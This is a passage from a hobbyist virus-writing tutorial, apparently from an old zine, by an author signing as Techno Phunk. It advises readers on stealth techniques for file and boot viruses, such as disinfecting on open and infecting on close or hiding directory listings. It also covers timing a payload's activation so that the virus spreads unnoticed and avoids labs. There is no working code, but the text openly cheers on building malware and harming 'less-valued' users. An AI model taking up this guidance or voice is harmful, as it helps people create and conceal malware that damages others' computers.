Now, there is always the best method. And that is full stealth. Now, you must note that there are a few ways of doing this, and it all depends on your virus itself. However, one is Disinfect on open, infect on close. And the other is redirection, which is redirecting to a clean copy (companion and mbr/boot viruses)

Arg! I forgot ONE type of stealth, and that is the stealthing of windows directory listings. These are called on functions: 7?? and 7?? (find first/next of sorts). This type of stealth tends to be a little more complex, but is doable. I havn't the time to write some source, or even figure it out right now... So, look at the source of say, IDEA (Spanska's baby)...please forgive me :)

Stealth for Boot/Mbr Viruses - See my article on mbr/boot infection.

[Intelegent Viruses]

Well, HOW in the world, can a virus be "intelegent", tp? I hear you saying, as you think about how a virus is "just" a program. Well, folks, it's not the virus that is intelegent, it should be you :). A virus is actualy, an extention of the coder, after all, the coder is the one who has thought of it all. So, one must be crafty when coding there virus. Yes, all the above ideas and things are definatly "Crafty" fetures, as they are like shells of a turtle, they protect the virus itself. But, wait a second, isn't there at least ONE little part of a average virus that we left out? Yes, we did, we left out the very important, Payload :). Now, let me ask you something....is it SMART to activate just any time? like, for example, to ALWAYS activate on the 3rd of November? Or ALWAYS on Friday the 13th? No, not at all...put it this way, if a biological virus was to go around manifesting itself in all kinds of ways, it's probably going to be caught quickly, and not have time to bread, also, it will be in the lab quicker, with people trying to find out what new virus it is. So, what can we do to make our virus smarter? Well, lets think for a bit. First of all, we don't want a GOOD host to be alarmed, because, after all, they are the ones who are helping us move around :). We really don't care about less- valued distributers, so, we can manifest around them, as, they will learn there leason :).

Another thing, is to depend on certain things, that a lot of viruses, simply do NOT do. Make the virus payload complex to go off...like setup this senario:

- Only activate when CMOS - in al,40h (timer) = 0

- Then, make sure that seconds are less than 10

Maybe you don't want you virus to be this rare, but it'll help! :)

O.k, this was fun, heehee, hope you learned something!

- Techno Phunk - tinet@sourceokfaos.com